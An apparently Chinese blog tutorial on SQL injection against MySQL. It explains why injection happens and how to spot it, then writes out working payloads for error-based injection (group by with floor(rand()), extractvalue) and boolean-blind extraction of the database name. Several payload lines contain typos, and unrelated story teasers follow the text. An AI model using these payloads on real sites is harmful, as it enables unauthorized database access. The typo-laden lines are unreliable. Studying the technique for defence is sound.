2022-07-05 sql注入

一、sql注入基础

    是一种常见的web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。

二、漏洞原理 

    针对sql注入的攻击行为可描述为通过用户可控参数中注入sql语句,破坏原有sql结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成:

    1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造sql语句。

    2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到sql语句中。

三、分类

    sql注入漏洞根据不同的标准有不同的分类。但是从数据类型来看,分为数字型和字符型

    数字型注入的注入点的数据,拼接到sql语句中是以数字型出现的,即数据两边没有被单引号、双引号包括。

    字符型注入正好相反。

    根据注入手法分类:

    @    UNION query SQL injection(联合查询)

    @    Error-based SQL injection (报错型)

    @    BOOlean-based blind SQL injection (布尔盲注)

    @    Time-based blind SQL injection (延时注入)

    @    Stacked queries SQL injection (多语句查询 )

四、MySQL相关

    @    注释

    mysql 数据库注释大概有以下几种

    #

    -- (杠杠空格)

    /* .....*/

    /*! .........*/ 内联查询

    @    MySQL 元数据库information_schema,其中tables表中存储着一张表中table_name表示数据库中所有表名,table_schema表示所有库名,columns中存储的column_name表示所有字段名,table_name表示包含字段的表名,table_schema表示包含字段的库名。


       @    MySQL常用函数与参数

     

concat(‘a’,'b','c')    不含分隔符的连接字符串

concat_ws("-",'s','b','c')    含有分隔符的连接字符串

group_concat()    连接一个组的字段


ord('a')    返回ASCII码

rand()       生成一个0-1之间的随机浮点数


rand()演示

五、sql注入

    @    注入点

    链接中的?是否有前端与数据库传参的过程。

    @    注入点的判断

    1)变换id参数

    当我们变换id参数的时候,发现同一个页面,展现出不同的内容,也就是数据库中的内容会回显到网页中。

    初步判定,id参数会带入数据库查询,根据不同的id查询数据库,得到不同的页面内容,擦侧后台执行的SQL语句大致为:

    select * from tbname where id=33;

    2)   单引号

    【?id=33'】

    执行的SQL主语则变为

    select * from tbname where id=33';

    页面会报错,并显示报错信息在网页中,根据报错信息判断是否存在报错注入,以及判断是数字型注入还是字符型注入。

    3)    and 1=1    页面正常

             and 1=2    页面没有数据,但是没有报错,用于判断是否存在布尔注入

    4)and sleep(5)

        通过网络查看时间线,是否有延时,判断是否存在延时注入。

联合查询

    由于数据库中的内容会回显到页面中,所以我们可以采用联合查询进行注入。

    联合查询就是SQL语法中的 union select语句,该语句会执行两条select语句,生成两张虚拟表,然后把查询到的结果进行拼接。

    由于虚拟表是二维结构,联合查询会“纵向”拼接,两张虚拟表。

    @    必要条件

    *    两张虚拟的表具有相同的列数

    *    虚拟表对应的列的数据类型相同

    @    判断SQL注入的技巧

    是否有回显    联合查询

    是否有报错    报错注入

    是否有布尔类型状态    布尔盲注

    上述三者都没有    延时注入

报错注入

    在注入点的判断过程中,发现数据库中sql语句的报错信息,会显示在页面中,因此可以进行报错注入。

    原理:在错误信息中执行SQL语句,得到想要的信息。

    @    group by 重复建冲突

        ?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)


关于group by重复建冲突原理演示

    @    创建数据库,写入数据

    create database groupbyTest;

    create table r1 (a,int);

    insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);

    @    进行简单的查询

    select * from r1;

    @    首先强行引入一个字段left(rand(),3)生成小数段后一位的随机数,由于rand()函数的存在,每次执行结果都是不同的。

    select left(rand(),3),a from r1 group by 1;

@    在此处添加count(*)函数,造成此条查询语句重复建冲突出现报错。

    select left(rand(),3),a,count(*) from r1 group by 1;

    @    其他重复建冲突的语句

    select round(rand(),1),a,count(*) from r1 group by 1;

    select a,count(*) from r1 group by round(rand(),1);

    select floor(rand()*2),a,count(*) from r1 group by 1;

    @    构造报错注入语句

    select concat(left(rand(),3),'^',(select version()),'^') as x,count(*),from information_schema.tables group by x;

    语句中的as是给concat(left(rand(),3),'^',(select version()),'^')起一个别名x,方便后面的聚合操做,此处as可以省略,直接写x即可,等同于group by 1。

    @    如果关键函数和关键表都被禁用了:

    select min(@a:=1) from (select 1 union select null union select !1)a group by concat('^',@@version,'^',@a:=(@a+1)%2);


    


    @    XPATH报错

    1)extractalue()

    ?id=33 and extractalue(1,concat('^',(select version()),'^'))

    2)    updatexml()

布尔盲注

    原理:利用页面返回的布尔类型状态,正常或者不正常。

    @     获取数据库名

    1)确定数据库名长度

    ?id=33 and length(database())=1.2.3......

    通过页面正常与否来确定数据库名字的长度。

    2)确定数据库名字

    ?id=33 and ascii(substr(database(),1,1)=99

    通过页面显示正常确定,数据库名字第一位ASCII码是99,即是字母c。

延时注入

    原理:利用sleep()语句的延时性,以时间线作为判断条件。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 200,392评论 5 470
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 84,258评论 2 377
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 147,417评论 0 332
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 53,992评论 1 272
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,930评论 5 360
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,199评论 1 277
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,652评论 3 390
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,327评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,463评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,382评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,432评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,118评论 3 315
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,704评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,787评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,999评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,476评论 2 346
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,057评论 2 341

推荐阅读更多精彩内容